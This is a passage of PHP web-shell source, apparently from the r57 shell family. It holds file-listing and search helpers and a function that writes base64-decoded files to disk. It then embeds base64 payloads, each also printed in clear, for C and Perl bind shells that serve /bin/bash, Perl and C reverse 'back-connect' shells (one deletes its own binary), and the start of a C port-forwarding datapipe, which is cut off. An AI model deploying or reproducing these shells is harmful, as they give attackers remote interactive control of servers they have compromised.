2671else if( $mode &0xA000 ) {$type='l';}
2672
2673else if( $mode &0xC000 ) {$type='s';}
2674
2675else $type='u';
2676
2677$owner["read"] = ($mode &00400) ?'r': '-';
2678
2679$owner["write"] = ($mode &00200) ?'w': '-';
2680
2681$owner["execute"] = ($mode &00100) ?'x': '-';
2682
2683$group["read"] = ($mode &00040) ?'r': '-';
2684
2685$group["write"] = ($mode &00020) ?'w': '-';
2686
2687$group["execute"] = ($mode &00010) ?'x': '-';
2688
2689$world["read"] = ($mode &00004) ?'r': '-';
2690
2691$world["write"] = ($mode &00002) ?'w': '-';
2692
2693$world["execute"] = ($mode &00001) ?'x': '-';
2694
2695if( $mode &0x800 ) $owner["execute"] = ($owner['execute']=='x') ?'s': 'S';
2696
2697if( $mode &0x400 ) $group["execute"] = ($group['execute']=='x') ?'s': 'S';
2698
2699if( $mode &0x200 ) $world["execute"] = ($world['execute']=='x') ?'t': 'T';
2700
2701$s=sprintf("%1s",$type);
2702
2703$s.=sprintf("%1s%1s%1s",$owner['read'],$owner['write'],$owner['execute']);
2704
2705$s.=sprintf("%1s%1s%1s",$group['read'],$group['write'],$group['execute']);
2706
2707$s.=sprintf("%1s%1s%1s",$world['read'],$world['write'],$world['execute']);
2708
2709return trim($s);
2710
2711}
2712
2713function in($type,$name,$size,$value,$checked=0)
2714
2715{
2716
2717$ret = "<input type=".$type." name=".$name." ";
2718
2719if($size != 0) {$ret .= "size=".$size." ";}
2720
2721$ret .= "value=\"".$value."\"";
2722
2723if($checked) $ret .= " checked";
2724
2725return $ret.">";
2726
2727}
2728
2729function which($pr)
2730
2731{
2732
2733$path = '';
2734
2735$path = ex("which $pr");
2736
2737if(!empty($path)) {return $path;}else {return false;}
2738
2739}
2740
2741function cf($fname,$text)
2742
2743{
2744
2745$w_file=@fopen($fname,"w") or @function_exists('file_put_contents') or err(0);
2746
2747if($w_file)
2748
2749{
2750
2751@fwrite($w_file,@base64_decode($text)) or @fputs($w_file,@base64_decode($text)) or @file_put_contents($fname,@base64_decode($text));
2752
2753@fclose($w_file);
2754
2755}
2756
2757}
2758
2759function sr($l,$t1,$t2)
2760
2761{
2762
2763return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>";
2764
2765}
2766
2767if (!@function_exists("view_size"))
2768
2769{
2770
2771function view_size($size)
2772
2773{
2774
2775if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 ." GB";}
2776
2777elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 ." MB";}
2778
2779elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 ." KB";}
2780
2781else {$size = $size ." B";}
2782
2783return $size;
2784
2785}
2786
2787}
2788
2789function DirFilesR($dir,$types='')
2790
2791{
2792
2793$files = Array();
2794
2795if(($handle = @opendir($dir)) ||(@function_exists('scandir')))
2796
2797{
2798
2799while ((false !== ($file = @readdir($handle))) &&(false !== ($file = @scandir($dir))))
2800
2801{
2802
2803if ($file != "."&&$file != "..")
2804
2805{
2806
2807if(@is_dir($dir."/".$file))
2808
2809$files = @array_merge($files,DirFilesR($dir."/".$file,$types));
2810
2811else
2812
2813{
2814
2815$pos = @strrpos($file,".");
2816
2817$ext = @substr($file,$pos,@strlen($file)-$pos);
2818
2819if($types)
2820
2821{
2822
2823if(@in_array($ext,explode(';',$types)))
2824
2825$files[] = $dir."/".$file;
2826
2827}
2828
2829else
2830
2831$files[] = $dir."/".$file;
2832
2833}
2834
2835}
2836
2837}
2838
2839@closedir($handle);
2840
2841}
2842
2843return $files;
2844
2845}
2846
2847class SearchResult
2848
2849{
2850
2851var $text;
2852
2853var $FilesToSearch;
2854
2855var $ResultFiles;
2856
2857var $FilesTotal;
2858
2859var $MatchesCount;
2860
2861var $FileMatschesCount;
2862
2863var $TimeStart;
2864
2865var $TimeTotal;
2866
2867var $titles;
2868
2869function SearchResult($dir,$text,$filter='')
2870
2871{
2872
2873$dirs = @explode(";",$dir);
2874
2875$this->FilesToSearch = Array();
2876
2877for($a=0;$a<count($dirs);$a++)
2878
2879$this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
2880
2881$this->text = $text;
2882
2883$this->FilesTotal = @count($this->FilesToSearch);
2884
2885$this->TimeStart = getmicrotime();
2886
2887$this->MatchesCount = 0;
2888
2889$this->ResultFiles = Array();
2890
2891$this->FileMatchesCount = Array();
2892
2893$this->titles = Array();
2894
2895}
2896
2897function GetFilesTotal() {return $this->FilesTotal;}
2898
2899function GetTitles() {return $this->titles;}
2900
2901function GetTimeTotal() {return $this->TimeTotal;}
2902
2903function GetMatchesCount() {return $this->MatchesCount;}
2904
2905function GetFileMatchesCount() {return $this->FileMatchesCount;}
2906
2907function GetResultFiles() {return $this->ResultFiles;}
2908
2909function SearchText($phrase=0,$case=0) {
2910
2911$qq = @explode(' ',$this->text);
2912
2913$delim = '|';
2914
2915if($phrase)
2916
2917foreach($qq as $k=>$v)
2918
2919$qq[$k] = '\b'.$v.'\b';
2920
2921$words = '('.@implode($delim,$qq).')';
2922
2923$pattern = "/".$words."/";
2924
2925if(!$case)
2926
2927$pattern .= 'i';
2928
2929foreach($this->FilesToSearch as $k=>$filename)
2930
2931{
2932
2933$this->FileMatchesCount[$filename] = 0;
2934
2935$FileStrings = @file($filename) or @next;
2936
2937for($a=0;$a<@count($FileStrings);$a++)
2938
2939{
2940
2941$count = 0;
2942
2943$CurString = $FileStrings[$a];
2944
2945$CurString = @Trim($CurString);
2946
2947$CurString = @strip_tags($CurString);
2948
2949$aa = '';
2950
2951if(($count = @preg_match_all($pattern,$CurString,$aa)))
2952
2953{
2954
2955$CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString);
2956
2957$this->ResultFiles[$filename][$a+1] = $CurString;
2958
2959$this->MatchesCount += $count;
2960
2961$this->FileMatchesCount[$filename] += $count;
2962
2963}
2964
2965}
2966
2967}
2968
2969$this->TimeTotal = @round(getmicrotime() -$this->TimeStart,4);
2970
2971}
2972
2973}
2974
2975function getmicrotime()
2976
2977{
2978
2979list($usec,$sec) = @explode(" ",@microtime());
2980
2981return ((float)$usec +(float)$sec);
2982
2983}
2984
2985$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
2986
2987A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
2988
2989GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
2990
2991b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
2992
2993pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
2994
2995NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
2996
2997ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
2998
2999ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
3000
30017DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
3002
30039tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
3004
30052ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
3006
3007dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
3008
3009lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
3010
3011/* ?ST SATIRIN KIRILMI? HAL? */
3012
3013/*
3014
3015
3016
3017#include <stdio.h>
3018
3019#include <string.h>
3020
3021#include <sys/types.h>
3022
3023#include <sys/socket.h>
3024
3025#include <netinet/in.h>
3026
3027#include <errno.h>
3028
3029int main(argc,argv)
3030
3031int argc;
3032
3033char **argv;
3034
3035{
3036
3037 int sockfd, newfd;
3038
3039 char buf[30];
3040
3041 struct sockaddr_in remote;
3042
3043 if(fork() == 0) {
3044
3045 remote.sin_family = AF_INET;
3046
3047 remote.sin_port = htons(atoi(argv[1]));
3048
3049 remote.sin_addr.s_addr = htonl(INADDR_ANY);
3050
3051 sockfd = socket(AF_INET,SOCK_STREAM,0);
3052
3053 if(!sockfd) perror("socket error");
3054
3055 bind(sockfd, (struct sockaddr *)&remote, 0x10);
3056
3057 listen(sockfd, 5);
3058
3059 while(1)
3060
3061 {
3062
3063 newfd=accept(sockfd,0,0);
3064
3065 dup2(newfd,0);
3066
3067 dup2(newfd,1);
3068
3069 dup2(newfd,2);
3070
3071 write(newfd,"Password:",10);
3072
3073 read(newfd,buf,sizeof(buf));
3074
3075 if (!chpass(argv[2],buf))
3076
3077 system("echo welcome to r57 shell && /bin/bash -i");
3078
3079 else
3080
3081 fprintf(stderr,"Sorry");
3082
3083 close(newfd);
3084
3085 }
3086
3087 }
3088
3089}
3090
3091int chpass(char *base, char *entered) {
3092
3093int i;
3094
3095for(i=0;i<strlen(entered);i++)
3096
3097{
3098
3099if(entered[i] == '\n')
3100
3101entered[i] = '\0';
3102
3103if(entered[i] == '\r')
3104
3105entered[i] = '\0';
3106
3107}
3108
3109if (!strcmp(base,entered))
3110
3111return 0;
3112
3113}
3114
3115
3116
3117*/
3118
3119
3120
3121$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
3122
3123VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
3124
3125JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
3126
3127TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
3128
3129lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
3130
3131Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
3132
3133Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
3134
3135lIENPTk47DQpleGl0IDA7DQp9DQp9";
3136
3137
3138
3139/* ?ST SATIRIN KIRILMI? HAL? */
3140
3141/*
3142
3143
3144
3145#!/usr/bin/perl
3146
3147$SHELL="/bin/bash -i";
3148
3149if (@ARGV < 1) { exit(1); }
3150
3151$LISTEN_PORT=$ARGV[0];
3152
3153use Socket;
3154
3155$protocol=getprotobyname('tcp');
3156
3157socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket\n";
3158
3159setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
3160
3161bind(S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port\n";
3162
3163listen(S,3) || die "Cant listen port\n";
3164
3165while(1)
3166
3167{
3168
3169accept(CONN,S);
3170
3171if(!($pid=fork))
3172
3173{
3174
3175die "Cannot fork" if (!defined $pid);
3176
3177open STDIN,"<&CONN";
3178
3179open STDOUT,">&CONN";
3180
3181open STDERR,">&CONN";
3182
3183exec $SHELL || die print CONN "Cant execute $SHELL\n";
3184
3185close CONN;
3186
3187exit 0;
3188
3189}
3190
3191}
3192
3193
3194
3195*/
3196
3197
3198
3199$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
3200
3201aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
3202
3203hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
3204
3205sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
3206
3207kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
3208
3209KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
3210
3211OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
3212
3213
3214
3215/* ?ST SATIRIN KIRILMI? HAL? */
3216
3217/*
3218
3219
3220
3221#!/usr/bin/perl
3222
3223use Socket;
3224
3225$cmd= "lynx";
3226
3227$system= 'echo "`uname -a`";echo "`id`";/bin/sh';
3228
3229$0=$cmd;
3230
3231$target=$ARGV[0];
3232
3233$port=$ARGV[1];
3234
3235$iaddr=inet_aton($target) || die("Error: $!\n");
3236
3237$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
3238
3239$proto=getprotobyname('tcp');
3240
3241socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
3242
3243connect(SOCKET, $paddr) || die("Error: $!\n");
3244
3245open(STDIN, ">&SOCKET");
3246
3247open(STDOUT, ">&SOCKET");
3248
3249open(STDERR, ">&SOCKET");
3250
3251system($system);
3252
3253close(STDIN);
3254
3255close(STDOUT);
3256
3257close(STDERR);
3258
3259
3260
3261*/
3262
3263
3264
3265$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
3266
3267BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
3268
3269SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
3270
3271KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
3272
3273sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
3274
3275Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
3276
3277QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
3278
3279Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
3280
3281
3282
3283
3284
3285/* ?ST SATIRIN KIRILMI? HAL? */
3286
3287/*
3288
3289
3290
3291#include <stdio.h>
3292
3293#include <sys/socket.h>
3294
3295#include <netinet/in.h>
3296
3297int main(int argc, char *argv[])
3298
3299{
3300
3301 int fd;
3302
3303 struct sockaddr_in sin;
3304
3305 char rms[21]="rm -f ";
3306
3307 daemon(1,0);
3308
3309 sin.sin_family = AF_INET;
3310
3311 sin.sin_port = htons(atoi(argv[2]));
3312
3313 sin.sin_addr.s_addr = inet_addr(argv[1]);
3314
3315 bzero(argv[1],strlen(argv[1])+1+strlen(argv[2]));
3316
3317 fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ;
3318
3319 if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) {
3320
3321 perror("[-] connect()");
3322
3323 exit(0);
3324
3325 }
3326
3327 strcat(rms, argv[0]);
3328
3329 system(rms);
3330
3331 dup2(fd, 0);
3332
3333 dup2(fd, 1);
3334
3335 dup2(fd, 2);
3336
3337 execl("/bin/sh","sh -i", NULL);
3338
3339 close(fd);
3340
3341}
3342
3343
3344
3345*/
3346
3347
3348
3349
3350
3351$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2
3352
3353x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb
3354
3355HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj
3356
3357aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ
3358
3359lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm
3360
3361xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga
3362
3363W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy
3364
3365LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV
3366
3367udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow
3368
33690KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb
3370
3371iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l
3372
3373KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA
3374
3375gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS
3376
3377hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC
3378
3379iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh
3380
3381ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ
3382
3383vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC
3384
3385AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D
3386
3387QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh
3388
3389ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0
3390
3391gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay
3392
3393wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c
3394
339529jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy
3396
3397MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA
3398
3399gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci
3400
34015zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ
3402
3403HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu
3404
3405dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0
3406
3407KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC
3408
3409ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI
3410
3411E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp
3412
3413Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs
3414
3415NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG
3416
3417J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL
3418
3419CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp
3420
3421dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo
3422
3423gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm
3424
3425lsZSk7DQogIHJldHVybiAwOw0KfQ==";
3426
3427
3428
3429/* ?ST SATIRIN KIRILMI? HAL? */
3430
3431/*
3432
3433
3434
3435#include <sys/types.h>
3436
3437#include <sys/socket.h>
3438
3439#include <sys/wait.h>
3440
3441#include <netinet/in.h>
3442
3443#include <stdio.h>
3444
3445#include <stdlib.h>
3446
3447#include <errno.h>
3448
3449#include <unistd.h>
3450
3451#include <netdb.h>
3452
3453#include <linux/time.h>
3454
3455#ifdef STRERROR
3456
3457extern char *sys_errlist[];
3458
3459extern int sys_nerr;
3460
3461char *undef = "Undefined error";
3462
3463char *strerror(error)
3464
3465int error;
3466
3467{
3468
3469if (error > sys_nerr)
3470
3471return undef;
3472
3473return sys_errlist[error];
3474
3475}
3476
3477#endif
3478
3479
3480
3481main(argc, argv)
3482
3483 int argc;
3484
3485 char **argv;
3486
3487{
3488
3489 int lsock, csock, osock;
3490
3491 FILE *cfile;
3492
3493 char buf[4096];
3494
3495 struct sockaddr_in laddr, caddr, oaddr;
3496
3497 int caddrlen = sizeof(caddr);
3498
3499 fd_set fdsr, fdse;
3500
3501 struct hostent *h;
3502
3503 struct servent *s;
3504
3505 int nbyt;
3506
3507 unsigned long a;
3508
3509 unsigned short oport;
3510
3511
3512
3513 if (argc != 4) {
3514
3515 fprintf(stderr,"Usage: %s localport remoteport remotehost\n",argv[0]);
3516
3517 return 30;
3518
3519 }
3520
3521 a = inet_addr(argv[3]);
3522
3523 if (!(h = gethostbyname(argv[3])) &&
3524
3525 !(h = gethostbyaddr(&a, 4, AF_INET))) {
3526
3527 perror(argv[3]);
3528
3529 return 25;
3530
3531 }
3532
3533 oport = atol(argv[2]);
3534
3535 laddr.sin_port = htons((unsigned short)(atol(argv[1])));
3536
3537 if ((lsock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
3538
3539 perror("socket");
3540
3541 return 20;
3542
3543 }
3544
3545 laddr.sin_family = htons(AF_INET);
3546
3547 laddr.sin_addr.s_addr = htonl(0);
3548
3549 if (bind(lsock, &laddr, sizeof(laddr))) {
3550
3551 perror("bind");
3552
3553 return 20;
3554
3555 }
3556
3557 if (listen(lsock, 1)) {
3558
3559 perror("listen");
3560
3561 return 20;
3562
3563 }
3564
3565 if ((nbyt = fork()) == -1) {
3566
3567 perror("fork");
3568
3569 return 20;
3570
